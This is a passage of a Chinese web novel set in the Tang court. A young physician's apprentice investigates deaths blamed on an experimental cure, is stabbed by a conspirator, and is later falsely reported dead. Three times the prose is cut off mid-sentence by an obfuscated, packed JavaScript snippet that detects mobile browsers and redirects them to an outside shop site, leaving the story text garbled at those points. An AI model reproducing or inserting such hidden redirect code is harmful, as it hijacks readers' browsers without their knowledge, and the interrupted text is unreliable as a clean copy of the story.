朱贤也不卑不亢地回礼,解释道:“乔老爷谬赞,此政策也是刺史大人一手操办的,我只不过从中协助罢了。榷酒钱若是像以前一般按人头交付,同州许多小酒商根本无法存活,如此一来同州要交付京城的榷酒钱也全部压到了您这样的大酒商头上,对整个同州的酿酒业其实并无好处。” “是了,朱大人实在深谋远虑,乔某不得不服啊!朱大人也别在外头站着了,府上新到了一批上好的神泉小团,进屋坐坐吧?” 朱贤保持着距离,礼节周到地拒绝:“谢过乔老爷,但是目前还有许多民众没有收到暴风雨的预警,我还有要事在身,下次再到府上做客。” 芮雪跟了朱贤一路,所有人对待他的态度如出一辙,尊重、感谢以及亲切。 按理说,一般从四品的别驾并不会事必躬亲,但朱贤是个例外。从草根走向如今这个地位的他几乎什么事儿都管,孩子走失、粮食被盗、街坊争执、农商赋税、水利工程建设等等,事无巨细。 或许,这位在同州百姓心中地位崇高的“父母官”就是自己要找的人,芮雪心想。 两个时辰过去,朱贤带着四处汇合的手下回到别驾府。芮雪做足了心理准备才敢上前敲门。 “你是谁?”别驾府侍卫板着脸孔问。 “请通传朱大人,我是验方使手下的人,有要事与大人协商。”芮雪诚恳地说。 很快,她就被请到了别驾府的会客堂。朱贤并没有因为臭名昭著的验方使而给她使脸色,而是轻轻撩开官服下摆正襟危坐,用与其他同州百姓并无二致的语气淡淡地问:“请问姑娘有何要事与我协商?” “朱大人,验方的药汤被大家误解为致人死亡的毒药,还想请大人协助破除谣言。” 朱贤不自觉地挑眉,反问道:“你为何会认为这是谣言?有何证据?” 芮雪注视着朱贤的双眼,一字一句地说:“大人,解药并非只在同州使用,也在长安、岐州、雍州、华州同时开展了两次验方,但是上百名病患里除了岐州与同州之外,并没有发生过任何死亡事件。 岐州我已前往调查,因为当地人的饮食习惯了辛辣口味,恰好辛辣食物会冲撞解药的药性,所以才导致病患死亡,并非是药物本身的问题。 我想,同州的集体死亡事件也并非与解药有关。同州酒酿文化盛行,人人皆饮酒,但酒十分刺激,服药期间饮酒势必也会冲撞解药的药性。 因验方而去世的病患家人通通否认了饮酒的可能性,验方文书中也没有饮酒记载,此事与常识相悖十分蹊跷,所以我此次前来想请朱大人助我劝导病患家人为逝去的病患开棺验尸,揭开‘解药致死’的真相。” 朱贤静静地听完了芮雪的长篇大论,面无表情地追问:“同州那么多官员,你为何会找到我来帮你?” 芮雪咽了一口口水,眨了眨眼睛继续回答道:“因为您在同州百姓的心中足够有威信。” “威信?那你应该去找刺史大人,他比我官阶还高一级,威信会比我更大。” 芮雪摇摇头,回答:“抱歉,我方才在您不知晓的情况之下跟了您一路,观察了一下您与同州百姓之间的相处之道。您对这儿的民众十分关切,几乎记住了他们所有人的名字,也把他们的需求与难处放在了心上,所以他们也会用同等赤诚的心对待您,信任您、拥护您、爱戴您,这种民心带来的威信不是用官阶施压可以得到的。” “如果我拒绝呢?” 虽然朱贤问出了这句话,但芮雪从他的语气里敏锐地感知到,他已经动摇了。 “正因为您对民众的关切之心,让我更为确信您在完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667871|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整地听完我的请求后不会拒绝我。 此次验方虽然是从陛下的病症出发,但一旦解药被制作出来,那将会有成千上万中咒人因此得到救赎。他们不会再因为诅咒而深受痛苦的折磨,也不会再因为诅咒而对将来胆战心惊,更不会再因为诅咒而对生命失去希望。 朱大人,您常驻群众之中,应该更能体会到身负诅咒之人的不易吧?他们什么都没有做错,却只能眼睁睁地看着身边至亲之人被诅咒夺走性命,再无能为力地把身上最厌恶的血液传给一代又一代。 验方不仅仅是延续李氏江山的关键,更是大唐子民对抗天命的关键。您难道愿意看着诅咒如此肆虐地嘲讽人们的弱小吗?您难道愿意看着人们被这可恶的诅咒摧残致死吗? 我相信心系百姓的人一定不愿意,所以我才会找到您——朱大人,这件事情除了您不会有第二个人适合去做。” 在最后一个字落地之时,芮雪突然感觉自己好像变成了另一个人。 在她的视角,那个始终背对着她的冯麓就是这样,用有理有据的语言和镇定自若的气场横扫所有质疑,强大到好像在她面前的难题都不是难题。 好像自己距离姐姐又近了一步,芮雪心里默默窃喜。 “你应该知道,开棺验尸是非常不尊重死者的行为,在这件事情上,那些家属怕是不会听我的。” “开棺验尸虽然很不合常理,但病患们想必也不想不明不白地死去,给他们一个清楚的交代就是对他们最大的尊重。若他们泉下有知,应该也会希望自己可以为其他同病相怜的同族成员提供力所能及的帮助吧。” 芮雪的嘴比脑子反应的更快,意识到什么以后眼神突然聚焦到朱贤那张清秀正气的脸上,不敢置信地确认道:“朱大人,您这是答应了?” “嗯,我被你说服了。”朱贤低头喝了一口热茶,抿嘴继续说道:“我起初也并不信任验方使,只觉得她的验方应该是骗人的把戏。但我曾经见到了城东那位参与验方的唐夫人,她服完药后血纹减淡了许多,所以我想那个解药应该是有用的,只是不知道为何过了几个月后死了这么多人。 听你年纪轻轻却言之有物,想必验方使也是一位颇有手腕的高手,或许大唐命运中的劫数只有她才能破解了。不过,是验方使亲自来验尸吗?” “不,验方使现如今被关入长安天牢之中,目前只有我来了同州。验尸一事我已与佟县尉取得联系,他会全力相助。” 朱贤听到这里,嘴角不由上扬了一丝弧度,“没想到你才刚到同州就找到了两个最适合做这件事情的人,很聪明。” “朱大人谬赞了。”芮雪终于也露出笑容,弯着腰行礼道:“陛下给我们的时日不多,还请朱大人多多上心了!” 注释及参考文献: [1]榷酒钱:指酒税。唐朝前期民间酿酒不收税,但“安史之乱”后财库空虚,所以中晚唐官府要从民间收酿酒税和饮酒税。唐朝榷酒制度一直在不断变化,本文进行了改制,民间可以酿酒售酒,但要给官府缴纳高额酒税。 31.酒精滥用 芮雪站在前厅,期待地看着朱贤与病患家人谈论着关于开棺验尸的事情。 起初她以为家属们会大发雷霆,把朱贤和她一同赶出去,不过好在朱贤有一张可以让人安心的脸和极其富有逻辑性的口舌之计。 “杜老爷,您大可放心,有我在旁督察,他们不敢乱来。我也深知开棺验尸有违仁义道德,但此事关乎贵公子之死真相,关乎百年诅咒,甚至关乎大唐朝纲。若贵公子出手相助,或许可以扭转乾坤、破除天劫。” “好,一切听朱大人的。”杜老爷一把鼻涕一把泪地感慨道,“若我儿九泉之下得知他死后也可以帮到李氏宗族,定当安息而去。” 风雨欲来,朱贤与芮雪根据病案一同挨家挨户敲门游说,虽然过程有点漫长,但好在他们都同意了次日在酒圣庙前公开验尸。 佟县尉得知此事之后也十分佩服芮雪,这些他努力了十日都没能做到的事情,芮雪一日之内便可以完成。 “你是如何做到的?”佟县尉好奇地问。 芮雪苦涩地笑道:“无他,亲人有难尔。” 更为震惊的莫属张司直,他实在不敢相信,自己只是一日没有跟着芮雪,她就已经实现了大半目标。这令他感到意外,也感到焦急。 李麒给芮雪的时日不多,但苏炀给他的时日也不多了。张司直暗自决定要在次日开棺验尸时下手,那时候围观的人一定很多,趁乱下手不会被怀疑。 张司直盯着那堵把他和芮雪隔开的墙,心里的血液好像都变冷了起来。他无数遍默默告诉自己,这个少女不过是一个普通得不能再普通的平民,为了立业大计牺牲一个平民是有必要的。 抱着这种想法,张司直忐忑不安地睡去。梦里,他梦到了自己的母亲,那个永远善良温柔的女子第一次在面对他的时候发了怒。 “镡儿,不许这样做。”梦里,她气愤到眉毛都要竖起来,伸出食指狠狠地指向自己,“我们让你从战场上活下来,不是为了看到你为名利而杀害无辜弱小的。” “孩儿也是不得已而为之……” “那些叛军杀害我们的时候也这么说!难道你可以原谅那些人吗?” 张镡的父亲突然打了他一个响亮的耳光,他捂着自己的左脸猛地睁开眼,看着投进房间的丝缕日光,才后知后觉地发现这只不过是一个梦。 张镡全身浸满了冷汗,深呼吸后起身更衣。 这个梦重新让他回忆起那个可怖的战乱,官兵闯入潼关,不管三七二十一提刀就是杀,即使已经投降也毫不留情。若不是他父母用自己的尸体把他掩藏起来,或许他根本活不到今天。 他至今还记得潼关的满城血腥,一路向西的逃亡之路,还有在长安独自摸爬滚打的五年时光。 这更让张镡坚定苏炀的选择是对的。 因为大唐的继承人太年轻,又太短命,只有苏炀这样城府与根基都十分深厚的人,才可以让这个逐渐式微的李氏王朝不费一兵一卒地进行政权更迭。 只有建立更强大严明的王朝,才可以避免战争与暴/乱,而毁灭这懦弱无能的李氏最大的关键就是,毁灭解咒的任何可能性。 他闭上眼睛深呼吸,带上短匕,在与芮雪打了招呼后一起出了门。芮雪心急如焚,不断回身催张镡快些走,张镡面上笑着回答“知道了”。 佟县尉与朱贤早早到达了酒圣庙,那里也已经围了一大圈群众。四位愿意开棺的病患家属已经把棺椁抬到庙前,按顺序依次进行验尸。 天空灰暗无比,好像随时都要来上一场暴雨。朱贤命人支起一座巨大的篷顶,足以遮盖住所有棺椁。 佟县尉的验尸技术是得到同州普遍认可的,他的动作快准狠,刺刀轻轻一划,方公子的胸腔就一览无遗了。 散发的尸臭和黑黢黢的尸体不管是嗅觉上还是在视觉上都足以给围观群众当头一击,有不少人都被这个场景吓跑了,也不乏一些当场吐出来的还勉强自己继续旁观的,下意识离验尸点远了一些。 在纷纷皱眉捏起鼻子的人群中,有个人尤其显得格格不入。他表情淡漠,对这刺激性十足的尸臭也没有任何反应,只是紧紧握住身侧的短匕,默默在心里说—— 害我家破人亡的叛军该死,但连江山和子民都守不住的李家后代更该死。 “朱大人,杜公子胃肠已全部腐烂,肝脏亦如残花般枯竭。”佟县尉仔细端详着手中的脏器,下了结论,“想是死前大量饮酒所致。” “可我儿用药后直到死前都滴酒未沾!这是不是有何误解?”杜老爷着急问道。 佟县尉思考了一下回答道:“杜公子长年饮酒,脏器已经被腐蚀得差不多了,即使服药这段时日滴酒未沾也没办法避免之前的影响。” 佟县尉一连验了四个人,全都是一模一样的死法,因为肝脏已经衰竭,本身就自带高纯度酒的解药不仅无法消化吸收,甚至还成为了催命符。 芮雪在一旁默默回忆起验方的方案,不论是哪一期验方,都没有排除“长年饮酒者”,其他地方的病患是因为本身没有大量饮酒的习惯所以运气好,可到了嗜酒如命的同州这里,滥用者便难逃生命威胁了。 芮雪急促地呼吸起来,深深地感觉到后怕。冯麓的方案有着非常重大却容易被忽略的缺陷,若是她选址全都撞上同州这样的地方,跳进黄河都洗不清。 佟县尉当着大家的面郑重地表示,同州病患集体死亡是因为自身原因而不是因为解药。 冯麓的嫌疑解除的那一刻,芮雪不禁长舒一口气。忙碌了一日又一日,总算有了想要的答案。 张司直看到了吗?是时候与他一起回京了。 芮雪扭过头去寻找人群中一直陪伴着她的那个身影。 “张大人——”她向那个高大瘦削的男子欢笑着挥手,雀跃不已地挤过一个又一个人到达他的面前。 芮雪棕色的眼瞳一瞬间睁大,伴随而来的是一股寒冷的疼痛,可比那把匕首更寒冷的是张镡的眼神。 之前还在鼓励她的张司直,好像突然就变了一个人。让她莫名地想起因为发现自己隐藏诅咒而大发雷霆赶她出门的孟家人,好像之前一起度过的时光全都是虚假的。 “抱歉,我不能让你回京。” 张镡说完这句话后又将匕首往更深处刺了一手,直到面前的少女面色惨白两眼一闭,他都没能让她说出一句完整的话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694209|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张镡头也没回地离开了酒圣庙。他不想听到芮雪的质问,他也怕自己会后悔。 雷声在空中炸开,雨点毫无节奏地落下,人头攒动,喧叫着回家避雨。 已经失去意识的芮雪被夹在人流中,来来往往的人磕磕碰碰,不断把那把匕首一寸寸推进芮雪的左胸深处。 直到某个妇人发现有个血流满身的少女倒在自己身上才惊慌失措地大叫出声:“杀人了!!” 佟县尉那头刚收拾完棺椁,就听见不远处旁观的人群传来惊呼。他和朱贤一起快步走去,发现人群被围成一个圈,倒在血泊之中的是半个时辰前还微笑着向他们致谢的芮雪。 “竟敢在我眼皮底下当街行凶!实在太猖狂了!”佟县尉紧咬后槽牙怒道。 朱贤立即扶起不省人事的芮雪,沉稳镇静地说道:“当务之急是救治芮姑娘,追查凶手一事就交给佟大人您了。” “是!” 几乎整个同州的医师全都来了,但是只是看了一眼芮雪就摇了摇头,都说她伤势太重,失血过多,已无力回天。 “蒲城有一名医,年纪虽轻但医术了得,听闻他近日在雍州采买药材,雍州距离同州不远,他若能赶来或许可以一救。”一位医师离开前说道。 朱贤立即沉声吩咐下人:“务必把那位名医请来,芮姑娘是验方使的人,不能有任何闪失。” 等那位蒲城名医匆匆踏进别驾府时,已经是傍晚了。 “见过白医师,久仰大名。”朱贤走出来迎接。 白理也没时间打招呼说些虚话,张口就问:“朱大人,请问病患在何处?” “跟随那位侍女去便可。” 白理人都没见着,就先高声吩咐:“在一大碗水里放入一拳盐和一拳糖拿给我!还有一盆温水和一些干净的纱布,快!” 在白理的抢救之下,芮雪昏迷了两日后终于苏醒。她胸前的纱布一层又一层,稍微动一寸都会疼得快喘不过气来。 “别动。”白理赶紧过来阻止。 “白堂主?您怎么在这儿?”芮雪弱弱地问。 “我在收到同州别驾的口信,请我来诊治一位胸口中刀的病患,我也没想到是你。”白理眼珠转了转,犹豫再三还是决定问出口,“我在雍州一直没能等到验方使的消息,她现在还好吗?” 芮雪一听到旁人提起冯麓,无法控制地流下两行清泪,“……都怪我。” 这突如其来的眼泪显然不是好事儿,白理着急得不行,连忙追问:“验方使她怎么了?不是进宫陈情吗?” “她被人诬陷毒杀李氏宗族,所以向陛下恳请让我协同大理寺官员再行调查,可我……可我现在受了伤,没办法按时回京了。” “我可以替你进京,需要带什么物证吗?”白理说着说着还真准备收拾东西了。 “没用的,”芮雪躺在床上,越来越多的眼泪和无穷无尽的悲伤一起把她淹没,“白堂主,大理寺派出的那个官员就是杀我的人,他们根本就没打算让我活着回去。” 她绝望无助地轻声说出那个早已经预想过无数次的最坏结果:“怎么办?姐姐可能……真要死在他们手上了。” 32.芮雪之死 天牢里已经没有时间的概念,冯麓缩着身子靠在墙壁边数羊,感觉自己被关了得有八辈子那么久。 天牢里除了中午那一顿馊饭以外,什么都吃不上,冯麓本就病弱,如今为了减少能量消耗只能缩在角落一动不动。 本就倒春寒的时节让天牢更为阴冷,可天牢里除了用来歇息的干草以外再无任何御寒工具,冯麓咬着牙把自己抱得更紧了一些。 突然,一床棉被从外面被丢进牢房。冯麓抬起头看,发现是之前给她送馊饭的狱卒。 他撇了撇嘴说道:“外边儿的人给你的。” 冯麓立即爬起来拾起那床干净蓬松的棉被,连忙问:“大人请留步,请问一下这是谁送来的?” “这你不用管,反正东西我帮忙带到了。” 没过多久,狱卒又抱着一些厚袄子来,开了门后丢在冯麓身边。 “大人,这是同一个人送来的吗?” “你问我我问谁去,我也是替上头办事。” 就好像约好了似的,那个狱卒又来了好几回。 要么拎着暖炉,要么拎着两大盒点心,现在甚至还让他带来一罐子参鸡汤来了牢房。 狱卒不耐烦地打开门大喊:“喂,你能不能跟外边的人传个信,要送啥一次性送完好不好?折腾我好几回了!” 冯麓呆呆地眨了眨眼回答:“可是大人,我都不知道谁送来的,给谁传信去?” 狱卒闭着眼睛拍了拍脑门,无力地说:“虽然这天牢关押的大多是犯了事儿的权贵,但我还是第一次见这种场面。 但凡有点儿权力的人一旦跌落云端,跟他交好过的人恨不得离他百丈远,生怕连累自己。有的人甚至连行刑后的尸首都无人认领,更别说什么给你送这些个棉被和参鸡汤了。” 狱卒意味深长地叹道:“既然不愿你受罪,干嘛不早点把你弄出去呢,想不通。” 冯麓苦笑着,不知道该说些什么。 她其实已经想到了送这些东西的人可能是谁,无外乎那些知道她身份的人,凌嬗、李蘩或是吴国夫人。不管她们是因为安昀公主这个封号还是别的,冯麓都由衷地感谢她们,至少可以让她熬过等待芮雪的这一段时间。 就这样,狱卒被来回折腾了七天,小小的牢房里堆满了各种东西,甚至连用来打发时间的医书都有。冯麓抱着暖炉闭目养神,想着这跟把绫绮殿搬过来也没什么区别了。 突然,安静的牢房传来一声呼唤。 “冯医师,好久不见啊。” 冯麓睁开眼睛,看向声音传来的方向——那里站着一个陌生的男子,他穿着绛紫色的圆领锦衫,脖子上是镶嵌了各色宝石的璎珞圈,腰间还别了湖蓝色的翡翠挂坠。 冯麓搜索枯肠也想不起来她在哪里认识过如此显贵的公子哥,她站起来,拍了拍身上的灰尘,问:“请问阁下是哪位?” 男子轻轻一笑,问:“冯医师去年还在朱雀大街救了我一命,居然这么快就忘记了吗?” 冯麓倒是没有忘记温二公子,只是她那日只是随手一救,救完就拍拍屁股走了,压根儿就没仔细观察自己救的人到底长什么样子。 冯麓笑得礼貌又疏离,行了礼说:“见过温二公子。” “就知道你肯定不会忘了我。”温璘满意地点点头,下巴微扬,“冯医师,我听闻你身陷验方风波命悬一线,所以想来帮帮你。” “如何帮我?” 冯麓看温二这穿着和语气,猜测他家里应该权势滔天,心里不免开始想,难道他可以帮自己对抗苏炀集团? 只见温璘清了清嗓子,颇为得意地开口:“若你嫁与我做侧室,出狱自然易如反掌。” “……”这人怎么恩将仇报?不是谁都愿意接受别人以身相许啊! 虽然冯麓心里已经无语到快吐出来了,但她还是保持着微笑,淡淡地回绝了这个提议:“温二公子,我不嫁与你做侧室,也可以堂堂正正走出这天牢。” 温璘不屑地笑了一声,说:“你还不知道外边儿传成什么样了吧?大家都说你是前朝余孽,不仅企图靠验方毒杀李氏子孙,还想扳倒陛下辅佐幕后奸臣上位。” 他手臂抱胸,呈现出一股高高在上的姿态俯视着冯麓,“我这人只接受我亲眼看到的,不在乎坊间的传闻,所以我可以不纠结你到底是不是前朝余孽。但陛下会,他向来憎恨诅咒,更恨利用诅咒谋害他的人,所以他一定是宁肯错杀不会放过一个的。” “你那个小徒弟别说帮你调查了,就连活着回来恐怕都难,冯医师,你还是趁早随了我吧。” 待在温家做一个只能相夫教子的侧室,从来就不是冯麓对人生规划的考虑范围内。可现在相比于自己的未来,她更担心芮雪,如果苏炀真的铁了心要把所有验方相关的人铲除掉,那肯定也不会放过芮雪的。 温璘看冯麓思考的模样,心想有戏,于是乘胜追击道:“冯医师,如今整个长安愿意帮助你的也就我温璘一人了吧?况且我母亲与先皇后是姊妹,温家祖上还是大唐三朝宰相,保你荣华富贵一辈子还是绰绰有余的。难道你愿意过几日被那群老不死的拉上断头台吗?” 怎么办?好像走错路了,冯麓不自觉开始咬着自己的嘴唇,血腥的甜味瞬间蔓延到整个口腔,正如苏炀集团那几双猩红的眼。 要向李麒说明身份吗?不行,要是把李麒拉进来,恐怕这场政治斗争会引发叛乱之战,到那时死的人就不止一个两个了。 冯麓垂下眼眸,紧紧攥住身侧的囚服,此刻,她心里充满了无穷无尽的悔意和愧疚。 “冯麓,你到底在犹豫什么?今日我还愿意搭救你,若明日事态突变,恐怕连我都救不了你了!”温璘着急地抓着铁栏杆喊道。 “她不需要你来救。” 温璘猛地回过头,看向身后出声对抗他的那人,他挑眉,不可置信地问:“哟,什么风把皇后娘娘都给吹来了?冯医师,你人缘真不错呢。” “不过,娘娘如今也算是李氏族人,她如今可是毒杀李氏宗族的最大嫌疑人,不该袒护她。”温璘夹枪带棒地说道。 “那又如何?”凌嬗微微仰着下巴,气势凌人地盯着面前比她高上许多的温璘,“我偏要护着她。” “那娘娘是代表凌家,还是代表陛下?”温璘眯起眼睛,言辞尖锐,“若是代表凌家,那凌家是不是有谋反之心?若是代表陛下,那我是不是可以理解为陛下想要靠验方一事党同伐异?” “温璘你住口!陛下是什么样的人你难道不清楚吗?” “何人在天牢喧哗?” 此时,天牢又走进来一个熟人,是凌之韫。冯麓心想,天牢真要乱成一锅粥了。 温璘话中带刺地主动出击:“哟呵,凌大统领也来了?你知道你妹妹要包庇罪人吗?” 凌之韫则是连眼神都没有给一个, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732278|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷冷说:“许久不见,你还是那么爱多管闲事。” “你——” 冯麓总算是看出来了,这三个人和李麒是老相识,貌似还有一些恩怨纠葛,只不过通过自己这个载体爆发了而已。 她想着先开口打破这个奇怪的氛围,问:“凌大人此次前来有何要事?” “有芮雪的消息了。” 冯麓突然来了精神,眼睛都好像闪着两束激光一般,追问道:“她回长安了?她现在在哪儿?我需要进宫吗?” “冯麓,你先冷静一下听我说。”向来冷漠无情的凌之韫难得的欲言又止,因为他深知这个消息会带给面前的人多大的打击。 “芮雪的确回了长安,但是……她已经死了。” “……什么?”冯麓不敢置信地又问了一遍。 “芮雪在调查的过程中突遇火灾,已经被烧死了。”凌之韫低垂着眼,不忍地看着冯麓。 她的泪水不断溢出眼眶,她伸手去擦却好像怎么都擦不完,她本就没有血色的面容变得更加苍白。 像是溺水一般,她完全呼吸不上来,捂着胸口大口大口喘气。又好像是针刺一般,左胸下的那颗心脏不停传来阵阵疼痛,细密如天降箭雨。 冯麓闭着眼睛,双手撑在额角处缓缓蹲下,她的脑海里正在快速闪回那些她们曾经一起生活过的画面,以及芮雪那稚嫩的声音。 “我想见她,可以吗?”冯麓忍着巨大的悲戚问道。 “好,我带你去。”凌之韫掏出钥匙,给冯麓开了门,“顺便回绫绮殿收拾一下吧,稍后还要去紫宸殿面圣。” 冯麓点点头,沉默地跟在凌之韫身后。 从天牢去绫绮殿的路上,冯麓都不发一言。凌嬗想出言安慰,但她看着已经面如死灰的冯麓最终还是没有说出口,她认为此刻多留给她一些安静的空间才是最好的。 冯麓特意从衣柜里翻出了最初见到芮雪时的那一套衣服,她想,若是能以最初的模样送别亲爱的妹妹,或许她会走得安详些。 芮雪没有家人,所以官员把无人认领的尸体停在了太医署的一个太平间里。凌嬗拍了拍冯麓的手,让她单独进了太平间。 冯麓一眼就看到停在最外面的一具女尸,她正盖着白布,毫无生机。 冯麓深呼吸平静了一下心绪,走到那具女尸身前,揭开她面上的白布。只见那张脸已经被烧焦,一片黑红之下看不出原本的模样,照这么看其实无法辨认这是芮雪。 冯麓又仔细地翻看了一下,发现女尸身上的衣饰是她常穿的,而且,她的左侧小臂上也有着和她一样的血纹。 你真的是小雪吗?冯麓皱起眉头无声地问。 负责看管尸体的仵作在一旁说:“冯大人,您要是认好了就赶紧领回去吧。” “我……还不确定。”冯麓垂着眼眸说。 “对了,冯大人,下官这儿有一些从这位姑娘身上收下的东西,拿来给您看看。” 仵作从匣子里掏出一个小腰包和一些丁零当啷的小工具递给冯麓,看清那些东西的一瞬间,冯麓就彻底接受了芮雪已死的这个事实。 那是芮雪自己磨的反光镜,以及她送给芮雪学习的听诊器和针灸包,芮雪她不仅医术和手法与冯麓别无二致,甚至就连腰包里随身携带工具这个习惯也完完整整学过去了。 不会再有第二个人拥有这些东西,这肯定是芮雪无疑了。 33.安昀公主 冯麓说完就要抱起尸体离开,却被楚廷着急拦下了。“冯大人,按理说涉及朝廷重案的尸体须得大理寺过手处理,您是不能带走的。” “我是她家人亦是她师傅,她意外去世,我必须把她带回老家下葬。”冯麓沉声说道。 “冯大人,您如今还是朝廷案犯,离开天牢已是违律,更别说离开长安。” 冯麓冷着眉眼,盯着楚廷的双眼说:“行,那我就在大理寺火葬她。既不能带她回老家,就让她一辈子跟着我。” “火葬?大唐没有这个先例,也不合规矩啊。凌大人这……”楚廷转头看向一直站在冯麓身后沉默不语的凌之韫求助,可后者居然默认了冯麓的想法,没有一句反对。 冯麓不耐烦地抱着尸体绕开楚廷,说:“没有先例那我就来做这个先例,反正我开的先河也不缺这一次了。” 冯麓把尸体抱进空无一人的柴房,用水打湿了自己的手帕,把尸体全身上下都擦拭干净。她把尸体放在大理寺后院空地的一个案台上,把柴房里的柴火抱出来丢在案台下,眼看着就要点火燃烧。 楚廷远远就高喊试图阻止:“冯大人,火烧尸体是对死者大不敬也,恐怕生魂会盘旋在大理寺无法转世超生啊!” 但后者依旧没有丝毫犹豫,把点着的干草丢进柴火堆里,面无表情地说:“盘旋在大理寺上空没走的冤魂多着呢,不差她这一个。更何况,朝廷也马上就要定我的罪了,我会陪她的。” 案台下的火焰渐渐从火苗变成了熊熊燃烧的烈焰,吞噬了毫无生气的尸体和一旁绝望至极的冯麓。 人体组织被灼烧后的气味很是难闻,大理寺不少离后院很远的官员都不免捂嘴作呕,可冯麓不仅毫无反应,甚至连厌恶的表情都没有。 冯麓紧紧盯着那具尸体,眼睛被太过明亮的焰光照得生疼,可她最疼的地方根本就不是眼睛。 她把自己想得太无所不能,其实她什么事情都做不到。没办法完成解药研究,没办法守护想守护的人,没办法帮助大唐千千万万的子民逃出家族病的折磨。 她从一开始就错了,一味地反抗命运是没有意义的。 孙药王没有女弟子,唐乾宗英年早逝,大唐覆灭,她一介穿越者又怎么凭一己之力改变这些已经被命运书写好的历史? 或许,当初在那个山村自戕死掉是最好的选择,这样死的人也没有那么多了。冯麓想着。 尸体的衣服已经被燃烧殆尽,她手臂内侧也因为高温被烧得焦黄。可,有个奇怪的地方。 冯麓又走近了一步,揉了揉眼睛确信自己没看错。“血纹为什么变黑了?”她怔愣地自言自语。 血纹应该是由于血管壁以及血小板异常而导致的皮下出血,那应该会跟随着皮肤一起变色才对,可现在手臂只是被烧得焦黄而已,血纹竟然单独变成了黑色。 冯麓把自己的手伸进火焰里,眼看着就要让火把自己也给一起烧了。 “冯麓!你要做什么?”凌之韫着急地快步走过去,一把抓住了正拉着尸体手臂的冯麓的手。 冯麓没有理会凌之韫,也没有挣脱开,只是就着这个被牵制的动作将那只左臂凑到自己鼻子下闻了闻。 她双眼圆睁,大惊失色地放下了那只手臂。 “你发现了什么?” 冯麓无法相信凌之韫,当然没有和盘托出。但她现在可以暗自确信,这具尸体即使拥有芮雪所有的衣服、工具和血纹特征,但她也不是芮雪。 因为——那道血纹是假的。 有人用朱砂给这具尸体画上了与芮雪一模一样的血纹,而朱砂遇热会变黑以及若隐若现的桃胶气味也印证了这一点。 此人想到了她可能会帮芮雪擦身子,所以混合了桃胶以至于达到防水的效果,但她料想不到冯麓会一把火烧了尸体,毕竟在一千多前的唐朝,土葬依旧是主流。 太好了,芮雪没有死。冯麓闭上眼睛长舒一口气,悄悄低头露出了轻松的神情。 不过,她还是按照最开始的计划火化了这具无名女尸,将她的人体组织碾碎成粉末装进陶罐里带走了。 “抱歉。”冯麓盖上陶罐后低声说。 “你在对谁道歉?”凌之韫看出了冯麓的异样,可他向来看不清此女心里究竟在想什么。 “这事儿没有那么简单,凌大人还是不要过问的好。” “好。”凌之韫嘴角轻轻上扬。 他不懂冯麓在计划些什么,但他知道冯麓既然能用自己对她说过的话反驳,想必她已经看穿这具尸体不是芮雪。 “相信她。”凌之韫看着冯麓沉着冷静的背影,不知怎的突然想到了李麒对他说过的这句话。他叹息着摇摇头,无奈地跟在冯麓身后。 芮雪既死,冯麓的验方一案也要迎来判决时刻。五品以上的官员全都被聚到了紫宸殿,等待着李麒的宣判。 李麒走入帘幕后的路上,他轻飘飘地瞥了一眼跪在地上的冯麓,本就瘦弱的她又瘦了很多。 他入座后,开口第一句就是问被临时召来的大理寺司直张镡:“张卿,此次前往岐州和同州可查出什么?” 张镡先开口:“陛下,臣与验方使门徒一同前往验方地点仔细探查了一番,尸体没有其余异常,的确是解药导致的死亡,微臣的手札可以证实。” 大理寺卿谈啸此时站出来补充:“陛下,既然此事已经调查完毕,还请尽早处死验方……罪女冯麓,给天下人一个交代。” 跪在地上的冯麓用无比坚定响亮的声音高声说:“我无罪!” “铁证如山,你还能抵赖不成?难道你不承认那些病患喝了你的药,不认可京兆府的仵作的验尸结果,不接受大理寺的调查吗?” 谈啸冷笑一声,继续说道:“冯麓,你口口声声说自己无辜,那不是毒药的证据又在哪里?” “陛下,民女给每位病患都多留了一罐同等编号的药,写上了姓名锁在匣子中。民女可以把那些药按照疗程一一喝下,以此证明此药无毒。” 此言一出,方才还窃窃私语的大臣们全都死一般地寂静。 “我要是死了,那大可以此结案。但我要是没死呢?大理寺错判是否有罪?”冯麓犀利的目光往身后一扫,几乎就要刺穿谈啸的头颅。 “冯小医师,你很有把握吗?”李麒淡淡地问。 “医师要是对自己的药没有把握,那就不配为人医治。” “但是朕没有把握,不能冒险。”李麒说。 难道李麒被他们说服了,真要宁可错杀一千,不肯放过一个? 冯麓急忙伏在地上,重重地磕了个头,说:“此药是为陛下所调制,所以验方的所有病患都是基于与陛下脉象症状的相似程度的高低来甄选的,以确保陛下服用此药后有效。 